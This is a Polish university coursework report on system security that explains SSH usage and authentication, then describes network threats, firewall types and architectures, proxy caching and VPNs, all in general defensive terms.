AKADEMIA GÓRNICZO-HUTNICZA
Wydział Elektrotechniki, Automatyki, Informatyki i Elektroniki

KATEDRA INFORMATYKI
Kierunek, rok studiów: Informatyka IV
Przedmiot: Administracja systemami
Prowadzący zajęcia: mgr. inż Bogusław Juza
Zespół autorski: Marek Rabenda rabenda@ernie.icslab.agh.edu.pl
Jacek Rybicki rybicki@ernie.icslab.agh.edu.pl
Temat opracowania: Bezpieczeństwo systemów (ssh, firewall, suid i sgid, buffer overrun, backup, sumy kontrolne)
Spis treści
1.Ssh. 5
1.1. Ogólnie o Ssh. 5
1.2. Właściwości. 6
1.3. Opis działania. 6
1.4. Przekierowanie połączenia X11. 7
1.5. Autoryzacja RSA. 8
1.6. Autoryzacja Rhosts. 9
2.Firewall. 14
2.1. Wprowadzenie do Firewall. 14
2.2. Zagrożenia w sieci. 14
2.3. Idea Firewalla. 16
2.4. Dlaczego Firewall? 16
2.5. Rodzaje zapór ogniowych. 17
2.6. Techniki integracji systemów ochronnych. 17
2.7. Architektury zapór ogniowych. 18
2.8. Usługi dodatkowe. 19
2.9. Wymagania sprzętowe. 23
2.10. Kryteria wyboru. 24
2.11. Wady i zalety firewalli. 24
3.Programy typu SUID i SGID. 26
4.4. Programy zliczające sumy kontrolne (ang. integrity checkers) 28
5.Buffer overrun. 30
6.Backup. 32
Techniki wykonywania kopii zapasowych. 32
SSH (Secure Shell) jest programem służącym do logowania się na inny komputer znajdujący się w sieci, wykonywania komend na zdalnej maszynie i przenoszenia plików z jednej maszyny na drugą. Dostarcza bardzo silną autoryzację i bezpieczny sposób komunikacji przez niepewne kanały komunikacyjne. Jest zaprojektowany, tak aby zastąpić takie usługi jak rlogin, rsh, rcp, czy rdist.
SSH ochrania użytkownika od niedozwolonego sieciowego nasłuchiwania pakietów ("packet sniffing"), gdzie niezakodowane hasła i wiadomości mogą zostać przechwycone przez osobę nieupoważnioną.
SSH jest najbardziej użytecznym sposobem logowania się na maszynę UNIX-ową z Windowsa, Mac'a lub innej maszyny UNIX-owej, gdzie tradycyjne programy takie jak telnet, czy rlogin nie dostarczają kodowania haseł, czy sesji. W większości wypadków administratorzy systemów używają SSH znacznie częściej niż usług telnet i rlogin, z wyjątkiem kiedy SSH nie jest dostępny na danej maszynie.
SSH spełnia zadanie podobne do Kerberosa, ale jest on zgodny z wieloma systemami operacyjnymi i jest łatwiejszy w administracji (nie potrzeba etykiety- serwer, a także nie potrzebne są przywileje administratora systemu, aby go skonfigurować).
Po raz pierwszy użyty ssh składa zapytanie o hasło RSA. Generuje wtedy klucze: publiczny i prywatny w plikach identity.pub i identity. Plik identity powinien być dostępny do czytania tylko dla ciebie.
Na maszynach UNIX-owych pliki te znajdują się w katalogu .ssh. Natomiast na maszynach Windowsowych znajdują się one w odpowiednim katalogu domowym programu.
Przykład użycia SSH. Logowanie na maszynę soda.csua:
set path = (${path} /usr/local/bin) # add /usr/local/bin to path if needed
ssh soda.csua # login to soda.csua
ssh soda.csua -l otheracct # login as "otheracct"
ssh -f soda.csua emacs # run emacs from soda.csua
ssh -n -f soda.csua emacs & # run emacs from soda.csua in the background
xterm -e ssh soda.csua & # start an "xterm" and login to soda
Będziesz poproszony o podanie swojego UNIX-owego hasła na maszynie soda. Hasło to
będzie w bezpieczny sposób zakodowane zanim zostanie przesłane przez sieć do maszyny soda, podobnie jak każdy inny ciąg znaków który wpiszesz jak będziesz już na tą maszynę zalogowany.
Możesz wygenerować klucz publiczny (coś takiego jak przepustka w Kerberosie), który umożliwi ci logowanie się na konta UNIX-owe bez wpisywania swojego hasła SSH za każdym razem. Kiedy po raz pierwszy zalogujesz się na swoją lokalną stację roboczą, uruchom program ssh-sgent i podaj mu swoje hasło. Wtedy ssh nie będzie pytać o hasło przy logowaniu; konto, na które się logujesz musi zawierać klucz identity.pub w katalogu
~/.ssh/authorized_keys.
SSH posiada sporo doskonałych właściwości odpowiadających za bezpieczeństwo poza samym kodowaniem twojego hasła i otwartej sesji w sieci. SSH dostarcza w swoim pakiecie mocniejszy algorytm kodowania (RSA), który umożliwia bezpieczne tunelowanie X11 i innych protokołów sieciowych przez zakodowaną sesję SSH.
SSH posiada następujące polecenia:
sshd Program serwera działający na maszynie serwera. Nasłuchuje
na połączenia z maszyny klienta i za każym razem jak otrzymuje
takie połączenie, to przeprowadza autoryzację i rozpoczyna obsługiwanie klienta.
ssh Klient służący do logowania się na inną maszynę lub wykonywania komend na niej. Inna nazwa tego programu to slogin
scp W bezpieczny sposób kopiuje pliki z jednej maszyny na drugą.
ssh-keygen Używany do stworzenia kluczy RSA ( kluczy hosta i kluczy autoryzujących użytkownika)
ssh-agent Agent służący do autoryzacji. Może być użyty do przechowywania informacji o kluczach RSA.
ssh-add używany do zapisania nowych kluczy dla agenta.
make-ssh-known-hosts
używany do stworzenia plików /etc/ssh_known_hosts
Ssh jest programem, który użytkownicy najczęściej używają. Uruchamia się go komendą: ssh host lub ssh host polecenie. Pierwsza komenda otwiera nowego shella na zdalnej maszynie (po autoryzacji). Natomiast druga komenda wykonuje podane polecenie na zdalnej maszynie.
Po uruchomieniu ssh łączy się z sshd na serwerze, weryfikuje czy serwer jest w rzeczywistości tą maszyną z którą chce się połączyć, wymienia klucze kodowe (w taki sposób, aby użytkownik nasłuchujący z zewnątrz nie był w stanie ich przechwycić), dokonuje autoryzacji używając .rhosts i /etc/hosts.equiv, autoryzacji RSA, lub typowej autoryzacji opartej na hasłach. Wtedy serwer alokuje pseudo-terminal i rozpoczyna działanie interaktywny shell lub program użytkownika.
Zmienna środowiskowa TERM (określająca typ terminala użytkownika) jest przekazywana ze strony klienta do zdalnej maszyny. Także tryby terminala są kopiowane ze strony klienta na zdalną maszynę, aby zachować ustawienia użytkownika (np. the erase character)
Jeżeli zmienna DISPLAY jest ustawiona po stronie klienta, serwer stworzy "udawany" X serwer i ustawi odpowiednią wartość DISPLAY na nim. Wszelkie połączenia z udawanym X serwerem będą przesyłane przez bezpieczny kanał wprost do prawdziwego X serwera ze strony klienta. Dowolna liczba X programów może być uruchomiona podczas sesji i zastartowanie ich nie nakłada na użytkownika
wykonania jakichkolwiek dodatkowych operacji. (Zwróć uwagę na to, że użytkownikowi nie wolno ręcznie ustawiać zmiennej DISPLAY, ponieważ w tym wypadku połączyłby się on wprost z prawdziwym serwerem, więc połączenie nie byłoby nadawane przez kanał kodowany.) Można zabezpieczyć się przed takim zachowaniem ustawiając opcję -x klientowi w pliku konfiguracyjnym.
Dowolna liczba portów IP może wykorzystywać bezpieczny kanał. Wtedy program tworzy port po jednej ze stron i kiedykolwiek połączenie jest nawiązywane na tym porcie, będzie ono nawiązane z drugą stroną przez bezpieczny kanał i będzie łączyć się z określoną parą host:port. Aby uruchomić przekazywanie używające portów IP, użytkownik musi wyraźnie o to poprosić i nie może ono być stosowane do przekazywania szyfrowanej transmisji na uprzywilejowanych portach (jeżeli użytkownik nie jest root-em). Istnieje możliwość wyspecyfikowania automatycznego przekazywania w pliku konfiguracyjnym użytkownika, np. żeby zapewnić bezpieczne działanie elektronicznego cash'a w systemie.
Jeżeli agent autoryzacji znajduje się po stronie klienta, połączenie z nim będzie automatycznie przekazywane na stronę klienta.
Przekierowanie połączenia X11 służy dwóm celom: jest wygodne dla użytkownika, ponieważ nie ma potrzeby ustawiania zmiennej DISPLAY i zapewnia ono zakodowane połączenia X11. Trudno byłoby wymyśleć i stworzyć inny i zarazem tak prosty sposób kodowania połączeń X11; modyfikacja X serwera, klienta lub bibliotek wymagałoby dodatkowego nakładu pracy dla każdej maszyny, producenta i aplikacji. To co nam pozostaje w bieżącej chwili to udawanie X serwera na tej samej maszynie, na której są uruchomieni klienci i przekierowanie połączenia do prawdziwego X serwera przez bezpieczny kanał.
Przekierowanie X11 działa jak następuje. Klient pobiera informację Xauthority z serwera. Potem tworzy losowe dane potrzebne do autoryzacji i przesyła te losowe dane do serwera. Serwer alokuje numer wyświetlania dla X11 i zachowuje (udawane) dane Xauthority dla tego wyświetlania. Za każdym razem jak połączenie z X11 jest otwierane, serwer przesyła je przez bezpieczny kanał do klienta i klient parsuje pierwszy pakiet z protokołu X11, zastępuje prawdziwe dane autoryzacji fałszywymi danymi (jeżeli fałszywe dane się zgadzały) i przesyła połączenie do prawdziwego X serwera.
Jeżeli display nie posiada danych Xauthority, serwer stworzy unixowy socket w /tmp/.X11-unix i będzie używać go do wyświetlania. W tym wypadku nie są przekazywanie żadne informacje potrzebne do autoryzacji. Połączenia X11 są ponownie przesyłane przez bezpieczny kanał. X serwer ma wrażenie, że połącznia pochodzą z maszyny klienta i serwer musi mieć zezwolenie na połączenia z lokalnej maszyny. Użycie danych do autoryzacji jest zawsze wskazane, ponieważ nie używanie ich może spowodować, że wyświetlanie będzie niebezpieczne. Jeżeli jest używany XDM, to on automatycznie generuje dane do autoryzacji.
Trzeba być uważnym i nie używać xin, czy xstart lub jakichkolwiek innych podobnych skryptów, które wprost ustawiają zmienną DISPLAY, aby uruchomić sesję X-ów na zdalnej maszynie, ponieważ w takim wypadku połączenie nie będzie odbywać się przez bezpieczny kanał. Wskazanym sposobem rozpoczynania shell'a na zdalnej maszynie jest:
xterm -e ssh host &
natomiast zalecanym sposobem wykonania aplikacji X11 na zdalnej maszynie jest:
ssh -n host emacs &
Jeżeli musisz wpisywać hasło/przepustkę (passphrase) dla zdalnej maszyny
ssh -f host emacs
może być użyteczne.
Autoryzacja RSA opiera się na kryptografii zawierającej tzw. publiczny klucz. Pomysł jest taki, że istnieją dwa klucze kodujące, jeden do kodowania, a drugi do dekodowania wiadomości. Jest niemożliwością (w ludzkiej skali czasu) wywnioskować klucz dekodujący z klucza kodującego. Klucz kodujący jest nazwany kluczem publicznym (public key), ponieważ może on być przekazany wszystkim, nie stanowi on żadnej tajemnicy. Natomiast klucz dekodujący jest naszą pilnie strzeżoną tajemnicą, stąd nazywamy go kluczem prywatnym.
Autoryzacja RSA opiera się na niemożliwości wyprowadzenia klucza prywatnego z klucza publicznego. klucz publiczny jest przechowywany na serwerze w pliku $HOME/.ssh/authorized_keys. Klucz prywatny jest przechowywany tylko na lokalnej maszynie użytkownika, laptopie, czy innym bezpiecznym nośniku. Jeżeli użytkownik chce się zalogować, klient przesyła serwerowi klucz publiczny, którym chce się posłużyć do autoryzacji. Wtedy serwer sprawdza, czy ten klucz publiczny jest dopuszczalny. Jeżeli tak to generuje 256 bitową liczbę losową, koduje ją za pomocą
klucza publicznego i wysyła zawartość do klienta Klient wtedy dekoduje numer za pomocą klucza prywatnego, wylicza 128 bitową sumękontrolną MD5 z otrzymanych danych i przesyła sumę kontrolną zpowrotem do serwera. (tylko suma kontrolna jest przesyłana, aby zapobiec atakom na RSA) Serwer sprawdza wyliczoną sumę kontrolną z poprawnych danych i porównuje sumy kontrolne. Autoryzacja jest zaakceptowana jeżeli sumy kontrolne się zgadzają. (Teoretycznie oznacza to, że klient zna właściwy klucz, ale z wszystkich praktycznych powodów nie ma wątpliwości. )
Prywatny klucz RSA może być chroniony za pomocą przepustki (passphrase). Przepustka może być dowolnym stringiem; jest on przetworzony przez MD5, aby wyprodukować klucz kodujący dla 3DES, który jest używany do kodowania prywatnej części pliku kluczowego. Bez przepustki, autoryzacja zależy tylko od posiadanego pliku kluczowego.
Autoryzacja RSA jest najbezpieczniejszą metodą autoryzacji oferowaną przez ten software. Jest ona niezależna od sieci, routerów, domeny, name serverów, czy maszyny klienta. Jedyna rzecz, która jest tu najważniejsza, to dostęp do klucza prywatnego. Wszystko to zależy oczywiście od bezpieczeństwa samego algorytmu RSA. RSA jest znany szerokiej publiczności od 1978 roku, i do tej pory nie ma
efektywnych metod złamania go, jeżeli jest poprawnie używany.
Typowe mechanizmy autoryzacji typu .rhosts i hosts.equiv są w swych podstawach niepewne ze względu na IP, DNS (domain name server) i ataki typu routing-spoofing. Dodatkowo ta metoda autoryzacji zależy od spójności maszyny klienta. Ta słabość była znana i eksploatowana już od dawna.
Ssh udostępnia ulepszoną wersję tego typu autoryzacji, ponieważ są one bardzo przystępne dla użytkownika ( i zapewniają łatwe przejście od rsh i rlogin). Pozwala ono na tego typu autoryzację, ale dodatkowo wymaga, aby host klienta był autoryzowany przy pomocy RSA.
Serwer posiada listę kluczy hostów przechowywaną w /etc/ssh_known_host, i dodatkowo każdy użytkownik ma klucze hostów w katalogu $HOME/.ssh/known_hosts. Ssh używa name serwerów, aby uzyskać kanoniczną nazwę hosta klienta, szuka jego klucza publicznego w znanych mu plikach host i
wymaga od klienta znajomości klucza prywatnego. Ten sposób zapobiega skutecznie IP spoofing-owi ( tak długo jak prywatny klucz maszyny klienta nie został narażony na szwank), ale wciąż jest nieodporny
na ataki DNS (do pewnych granic) i zależy od spójności maszyny klienta, jak i ten do kogo zwraca się z prośbą o logowanie. To zabezpiecza przed atakami z zewnątrz, ale nie broni przed bardzo potężnymi atakami. Jeżeli wymagane jest maksymalne bezpieczeństwo, tylko RSA powinno być użyte.
Jest możliwe zastosowanie konwencjonalnej autoryzacji .rhosts i /etc/hosts.equiv ( bez autoryzacji hosta) w czasie kompilacji ustawiając opcję --with-rhosts. Jakkolwiek nie jest to wskazane, i nie jest to robione default'owo.
Te słabości są widoczne także w rsh i rlogin. Nie będzie widocznej poprawy w bezpieczeństwie jeżeli rlogin i rsh nie będą całkowicie wykomentowane z /etc/inetd.conf). Jest to wysoce wskazane.



Duża liczba problemów związanych z bezpieczeństwem w sieci może być rozwiązana przy użyciu znanych technik i zabezpieczeń komputerów. Najbardziej skutecznym sposobem zniwelowania potencjalnych zagrożeń bezpieczeństwa, wynikających z podłączenia do sieci publicznej, jest fizyczne odseparowanie wszystkich komputerów wspomagających realizację istotnych zadań organizacji i przechowujących jej strategiczne informacje. W praktyce, oznacza to kompleksową przebudowę fizycznej infrastruktury systemu informatycznego, co w dużej większości przypadków pociąga za sobą poważne wydatki finansowe. Firewall może znacząco wpłynąć na poziom bezpieczeństwa stacji roboczych, jednocześnie umożliwiając dostęp do rozbudowanych serwisów internetowych.
Przed przystąpieniem do omówienia zagadnień ochrony sieci prywatnej, przedstawimy niebezpieczeństwa wynikające z faktu połączenia z siecią publiczną. Dokładna znajomość tych zagrożeń daje bowiem możliwość zbudowania skutecznego systemu zabezpieczeń. Firewall nie zapewnia ochrony systemu przed użytkownikami lokalnymi, zatem ograniczymy rozważania do zagadnienia zagrożeń zewnętrznych.
Najpowszechniej praktykowaną metodą uzyskiwania dostępu do odległego systemu jest wykonywanie zdalnego logowania Telnet, przeprowadzanego najczęściej na bazie łączności modemowej "dial-up". Warunkiem wykonania pomyślnego logowania na odległym komputerze jest znajomość identyfikatora i hasła użytkownika, który jest do tego upoważniony. Uzyskanie identyfikatora z reguły sprowadza się do zdobycia adresu e-mail dowolnego użytkownika tego systemu. Hasła użytkowników mogą być pozyskane drogą zgadywania, przechwytywania lub rozszyfrowania pliku zawierającego hasła użytkowników systemu. Co ciekawe, sama aplikacja Telnet nie stanowi zagrożenia - to przyjęty system kontroli tożsamości jest słaby. Statystyki podają, iż duża większość użytkowników jako hasła dostępu do konta przyjmuje łatwe do zapamiętania słowa (np. imiona, nazwy miejscowości), które w równie łatwy sposób mogą być odgadnięte przez cierpliwego włamywacza.
Przechwytywanie hasła może odbywać się za pośrednictwem ukrytego w systemie programu, który odbiera wpisywane przez użytkownika dane (np. fałszywy program login) lub poprzez prowadzenie "nasłuchiwania sieci" (ang. sniffing) wykonywanego w trakcie zdalnego logowania legalnego użytkownika. "Sniffing" odbywa się za pośrednictwem urządzeń podsłuchowych, podłączonych do sieci na drodze transmisji danych. W najprostszym przypadku może to być zmodyfikowana karta sieciowa umożliwiająca selektywne przechwytywanie pakietów.
"Nasłuchiwanie sieci" to bardzo poważny problem, który nie ogranicza się wyłącznie do przechwytywania hasła. W przypadku prowadzenia nieszyfrowanej transmisji danych "nasłuchiwanie sieci" może prowadzić do całkowitej utraty poufności przesyłanych informacji. Niestety, na dzień dzisiejszy nie ma skutecznych narzędzi przeciwdziałania tej technice - dostępne programy monitorujące pracę sieci komputerowej nie gwarantują wykrycia dobrze zamaskowanego urządzenia podsłuchowego. Nawet zastosowanie łącza światłowodowego nie zapewnia pełnej tajności transmitowanych informacji.
W momencie pozyskania pliku zawierającego zaszyfrowane hasła użytkowników (w systemie Unix pliki etc/passwd , /etc/shadow), mogą zostać podjęte próby uzyskania ich jawnej postaci. Najczęściej stosowaną techniką jest tzw. "atak brutalny", sprowadzający się do szyfrowania i porównywania wszystkich słów zawartych w przygotowanym do tego celu słowniku.
Potencjalne zagrożenie stanowią wszystkie usługi pozwalające na prowadzenie zdalnej pracy pomiędzy tzw. "zaprzyjaźnionymi" komputerami: RLOGIN, RSH i RCP. Poprzez podstawienie odpowiednio przygotowanych plików konfiguracyjnych .rhosts i hosts.equiv, osoby nieupoważnione mogą uzyskać uprawnienia legalnego użytkownika systemu.
Pewne niebezpieczeństwo stanowi usługa transferu plików FTP. Wykorzystując niewłaściwie administrowany serwer FTP, użytkownik Internetu może wejść w posiadanie ważnych informacji, przechowywanych w systemie plików komputera. Bardzo groźnym zjawiskiem jest wykorzystanie FTP do rozprowadzania aplikacji typu :
"wirus" - program dopisujący się do innego programu, który atakuje system w trakcie uruchomienia swojego "żywiciela";
"bakteria", "królik" - program wielokrotnie kopiujący i uruchamiający swój własny kod źródłowy celem pełnego zagarnięcia zasobów komputera (czasu procesora, pamięci operacyjnej, przestrzeni dyskowej) i doprowadzenia do upadku systemu;
"koń trojański" - program, który udaje pracę innego legalnego programu, a w międzyczasie wykonuje szereg niepożądanych czynności (np. fałszywy program login kradnie hasło użytkownika);
"bomba czasowa", "bomba logiczna" - fragment programu podejmujący działanie tylko w określonym czasie (np. dzień urodzin autora programu) lub w momencie spełnienia ustalonych warunków;
"robak" - program, który powiela samego siebie, wykonuje ustalone czynności (najczęściej niekorzystne dla systemu) i próbuje przenieść się do innego komputera w sieci. Z uwagi na właściwość samoprzenaszalności, wydaje się być najbardziej niebezpieczny.
Inną kategorią zagrożeń są tzw. "furtki" lub "włazy", które stanowią nieudokumentowane wejścia do legalnych programów. Niekiedy, programiści tworzą alternatywne wejście do aplikacji aby ułatwić sobie proces testowania. "Furtką" do programu może być ciąg znaków lub nawet wciśnięcie odpowiedniej kombinacji klawiszy. W momencie odnalezienia "furtki" nieuprawniony użytkownik uzyskuje kontrolę na aplikacją.
Omawiając niebezpieczeństwa związane z wykorzystaniem Internetu nie należy zapominać o dwóch najbardziej popularnych usługach - serwisie wymiany poczty elektronicznej SMTP i serwisie informacyjnym WWW. Najsłabszą stroną systemu poczty elektronicznej Internetu okazał się program sendmail. Próby rozszerzenia możliwości WWW (np. interfejs CGI, nowe elementy HTML), spowodowały powiększenie pola działania hackerów. Uruchamianie nieznanych aplikacji nieuchronnie wiąże się z podejmowaniem ryzyka, uzyskania odmiennego niż zakładano, rzeczywistego rezultatu działania programu.
Chyba najgłośniej omawianą obecnie techniką oszukiwania zabezpieczeń systemów, w tym systemów chronionych przez niektóre Firewall jest "spoofing". Określenie to wywodzi się z dziedziny wojskowej i oznacza przeciwdziałanie elektronicznym przeciwsystemom nieprzyjaciela poprzez nadawanie fałszywych informacji. W odniesieniu do zagadnienia transmisji danych w sieci TCP/IP, "IP Source-Address Spoofing" oznacza proces przesyłania pakietów zawierających nieprawdziwy adres źródłowy, przez co komputer odbierający te pakiety błędnie identyfikuje ich nadawcę.
Zakres przedstawionych powyżej potencjalnych zagrożeń, jakie należy uwzględnić podczas budowy polityki bezpieczeństwa, został ograniczony tylko do tych zagadnień, którym można przeciwdziałać poprzez "firewall".
Na samym początku najlepiej jest opisać, co nie jest firewallem. Firewallem nie jest zwykły ruter, system operacyjny danego hosta czy zbiór takich systemów, które zabezpieczają sieć. Raczej firewall jest jednym z podejść do tematu bezpieczeństwa sieci. Pomaga zaimplementować szerszy zakres bezpieczeństwa, który definiuje dostęp do określonych serwisów i odpowiednich zgłoszeń. Jest to implementacja w sensie konfiguracji sieci, jednego albo większej liczby systemów i ruterów oraz innych sposobów sprawdzania bezpieczeństwa tak jak zaawansowana weryfikacja w miejsce statycznych haseł. Głównym zadaniem systemu typu firewall jest kontrola dostępu z i do chronionej sieci ( lokalizacji ). Firewall implementuje dostęp do sieci poprzez sprawdzanie połączenia.
Firewallem może być ruter, komputer osobisty, host czy zbiór hostów specjalnie skonfigurowanych, żeby ochraniać daną sieć czy podsieć od protokołów i serwisów sieciowych, które mogą być nadużywane przez użytkowników na zewnątrz sieci. Zwykle firewall jest umieszczony jako gateway wyższego poziomu tak jak połączenie danej lokalizacji do internetu. Z drugiej strony systemy typu firewall mogą być umieszczone jako gateway'e niższego poziomu aby zapewnić bezpieczeństwo mniejszemu zbiorowi hostów czy podsieci.

Głównym powodem użycia firewalla jest to, że bez niego system podsieci uzewnętrznia się na z reguły niepewne serwisy takie jak NFS czy NIS a także na próby logowania i ataki z innych hostów w sieci. W środowisku, które nie ma zdefiniowanego firewalla bezpieczeństwo sieci zależy tylko od bezpieczeństwa danego hosta a także od wszystkich pozostałych hostów w takim sensie, że muszą one współpracować tak aby osiągnąć wysoki poziom bezpieczeństwa. Im większa jest podsieć tym trudniej nią administrować tak, aby wszystkie hosty posiadały ten sam poziom bezpieczeństwa.
Firewalle (zapory ogniowe) są instalowane między sieciami w celu wymuszenia kontroli dostępu między nimi. Generalnie rzecz ujmując, firewalle zabezpieczają przed nieautoryzowanym dostępem z zewnątrz do sieci lokalnej. Niektóre nawet mogą całkowicie blokować ruch pakietów z zewnątrz - dopuszczając ewentualnie pakiety poczty elektronicznej - zezwalając jednakże na swobodne komunikowanie się użytkowników sieci ze światem zewnętrznym. Inną pożyteczną cechą firewalli jest możliwość wykorzystania ich do rejestrowania i śledzenia wszelkich przychodzących pakietów (z ang. auditing). Stacje umieszczane w pierwszej linii obrony, określane również jako bastion host, są punktami przez które przechodzą wszystkie informacje do sieci lokalnej i na zewnątrz. Dzięki takiemu scentralizowaniu dróg dostępu do sieci w jednym komputerze można łatwo zarządzać systemem ochrony.
Na rynku dostępnych jest wiele produktów sprzedawanych pod nazwą "Firewall", lecz różnią się one poziomem oferowanych zabezpieczeń. Filtry pakietowe ( Network Level ) na podstawie adresu źródłowego i docelowego oraz portu pojedynczego pakietu decydują, czy dana przesyłka może zostać przesłana dalej, czy też nie. Zwyczajny router nie jest zwykle w stanie takiej decyzji podjąć, lecz bardziej nowoczesne konstrukcje mogą przechowywać wewnętrzne informacje o stanie połączeń przechodzących przez niego, zawartości niektórych strumieni danych itp. Filtry pakietowe są zwykle bardzo szybkie, jednak ich wadą jest, że podane kryteria selekcji mogą okazać się niewystarczające dla niektórych usług internetowych.
Jedną z możliwych prób ataku może być umieszczenie pakietów wyższego poziomu w fałszywych ramkach MAC lub protokołu warstwy 3 (sieciowa) i 4 (transportowa) modelu ISO/OSI. Często wystarczy tylko zmienić adres nadawcy pakietu. W takim przypadku filtr pakietowy jest bezradny.
Bramki typu Circuit Level są w stanie przyporządkowywać pakiety do istniejących połączeń TCP i dzięki temu kontrolować całą transmisję. Zaawansowane systemy potrafią także kojarzyć pakiety protokołu UDP, który w rzeczywistości kontroli połączeń nie posiada.
Firewalle Application Level to, generalnie rzecz ujmując, hosty, na których uruchomiono proxy servers, które nie zezwalają na bezpośredni ruch pakietów pomiędzy sieciami oraz rejestrują i śledzą cały ruch przechodzący przez niego. Proxies potrafią więc niejako odseparować "wiarygodną" część sieci od podejrzanej; mogą magazynować najczęściej żądane informacje - klient kieruje swoje żądanie do proxy, który wyszukuje obiekt w swoich lokalnych zasobach i zwraca zamawiającemu. Dla każdej aplikacji (czyli usługi sieciowej, np. http, ftp, telnet, smtp, snmp, etc.) istnieje osobny proxy, dla którego definiowane są reguły według których podejmowana jest decyzja o zaakceptowaniu bądź odrzuceniu połączenia. Niewątpliwym minusem tego rozwiązania jest konieczność stosowania wielu proxies do obsługi różnych aplikacji; jeżeli dla danego protokołu nie jest dostępny odpowiedni proxy, to dane przesyłane w tym formacie nie będą w ogóle przepuszczane przez bramkę. Na rynku dostępne są też systemy z proxies definiowanymi przez użytkownika funkcjonującymi jednakże nie na płaszczyźnie aplikacji, lecz analogicznie do filtrów pakietowych i bramek Circuit Level.
Technika konwencjonalna.
Klasyczny system firewall składa się z zewnętrznego routera z filtrem pakietowym, tak zwanej sieci granicznej (DMZ - demilitarized zone) i wewnętrznego routera, także z filtrem pakietowym. W strefie DMZ umieszcza się Bastion Hosta przeznaczonego do odparcia najcięższych ataków, na którym uruchamia się proxy servers dla poszczególnych aplikacji. Transmisja wszelkich danych musi odbywać się poprzez właśnie Bastion Hosta, co gwarantuje odpowiednia konfiguracja obu routerów.
Technika perspektywiczna.
Nowoczesne firewalle działają według zasady all-in-one, czyli są to pojedyncze urządzenia łączące w sobie funkcje obu routerów i Bastion Hosta, czasami dysponując dodatkowymi serwisami w rodzaju DNS bądź mail. W przypadku takiego systemu serwery typu WWW najlepiej lokalizować w osobnej sieci bezpośrednio podłączonej do firewalla. W ten sposób firewall chroni serwer przed intruzami z zewnątrz, a w razie jego przełamania - sieć wewnętrzna pozostaje w dalszym ciągu dobrze zabezpieczona. Jednak do prawidłowej pracy takiego systemu niezbędna jest współpraca firewalla z minimum trzema kartami sieciowymi, co może w wielu przypadkach być warunkiem trudnym do spełnienia.
Dual-Homed Host Firewall (router ekranujący)


Umieszczenie routera ekranującego i filtra pakietowego na komputerze z dwoma kartami sieciowymi jest najprostszym rozwiązaniem, w którym jeden komputer oddziela sieć lokalną od potencjalnych zagrożeń. Blokuje on ruch pomiędzy konkretnymi sieciami, hostami lub niektórymi portami.
Screened Host Gateway Firewall (firewall z routerem ekranującym)

Taka konfiguracja wymaga dodania WAN routera, który dostarcza połączenie z WAN i filtrowanie pakietów. Rozwiązanie to pozwala umieścić komputer główny z dala od sieci publicznej. Komputer główny w tym przypadku to serwer firewall z usługami proxy i dodatkowym filtrowaniem pakietów. Przerwanie bezpośredniego połączenia tego serwera z Internetem pozwala znacząco zwiększyć bezpieczeństwo.
Screened Subnet Firewall (firewall z dwoma routerami ekranującymi)

Firewall z dwoma routerami ekranującymi zapewnia dodatkową izolację sieci lokalnej. Oprócz routera WAN dodajemy router LAN, który kontroluje przepływ danych w sieci lokalnej. Dzięki temu, że komputer główny z Proxy Server jest umieszczony w osobnej sieci, atak ogranicza się jedynie do uderzenia na niego. Dodatkowo router LAN uniemożliwia nieautoryzowany dostęp do komputera głównego z wnętrza sieci. Oba routery mogą zostać skonfigurowane, by serwer komunikował się wyłącznie z nimi.
Systemy firewall oferują wiele dodatkowych usług, które pomagają zabezpieczyć sieć bądź przyspieszyć jej pracę. Wśród nich na szczególne wyróżnienie zasługują Proxy Cache Services. Usługa ta umożliwia zoptymalizowanie ruchu na łączu WAN poprzez przechowywanie informacji (stron WWW), do których często odwołują się użytkownicy sieci; zwykle jest to element zintegrowany z serwerami pośredniczącymi.
W przypadku
przyspieszania pracy klientów lokalnej sieci, Proxy Cache
Server umieszczamy pomiędzy nimi a Internetem. Wówczas
żądania o strony umieszczone w pamięci serwera są obsługiwane z
prędkością LAN, a łącze WAN nie jest wcale obciążane.

W przypadku intensywnie
eksploatowanych serwerów WWW, umieszczonych w głębi sieci
lokalnej, również warto zastosować Proxy Cache Server.
Odciąży on serwery i zmniejszy transmisję w sieci LAN.

W
przypadku bardzo dużych i intensywnie eksploatowanych serwisów
WWW możemy użyć kilku połączonych równolegle Proxy Cache
Server. Mogą one obsługiwać serwery różnych producentów.


Gdy nasza sieć jest jednym z wielu rozrzuconych elementów
sieci korporacyjnej, warto zastosować hierarchiczne połączenie wielu
Proxy Cache Servers. Można również połączyć serwery na tym
samym poziomie drzewa, uzyskując ten sposób wielopiętrowe
przyśpieszenie pracy całej sieci. Taka budowa zwiększa szansę na
znalezienie poszukiwanej strony w pamięci podręcznej. Dostęp do
stron rzadko używanych jest wolniejszy, ale i tak przewyższa
prędkość odnalezienia strony w Internecie.
W pracy serwera bardzo istotne jest odpowiednie ustawienie parametrów. Przede wszystkim czasu przechowywania stron w pamięci podręcznej, czasu, po którym strona staje się nie aktualna, ilość miejsca przeznaczonego na cache. Wiele firm, które potrzebują ciągłej wymiany informacji, staje przed dużym problemem - jak połączyć sieci lokalne wielu oddziałów oddalonych od siebie o setki, a nawet tysiące kilometrów. Wykupienie łącza dzierżawionego jest bardzo drogie, a czasem wręcz niemożliwe. Jedynym wyjściem staje się podłączenie wszystkich filii do sieci globalnej, takiej jak Internet. Virtual Private Network to usługa, która pozwala łączyć kilka sieci prywatnych "tunelami", przez które przenoszone są tylko informacje zaszyfrowane. Szyfrowanie całych pakietów znacznie zwiększa bezpieczeństwo połączenia, ponieważ ukrywa numery połączeń i przesyłane dane.

Serwer
z VPN zainstalowany na obrzeżu sieci umożliwia zarządzanie całą
siecią wirtualną z dowolnego miejsca, co dodatkowo upraszcza
administrację. Jedynym elementem, który powinien zostać
przekazany tradycyjną metodą jest klucz (w BorderManager firmy Novell
klucz jest 40- lub 128-bitowy; na eksport poza terytorium USA klucza
128-bitowego nałożone są spore restrykcje) umożliwiający nawiązanie
zaszyfrowanego połączenia.
Narzędzia w rodzaju Novell IP Gateway umożliwiają sieciom pracującym z innymi protokołami, bądź z adresami IP, które nie są unikalne, korzystanie z sieci Internet. Dają możliwość całemu systemowi na korzystanie z jednego adresu IP, który również może być przydzielany dynamicznie. Umożliwia to firmie korzystającej np. z protokołu IPX na podłączenie do Internetu za pomocą modemu u dostawcy przydzielającego adresy dynamicznie (TP S.A.). Dodatkową zaletą zwiększającą bezpieczeństwo przy korzystaniu z takich usług jest ukrycie adresów lokalnych systemu.
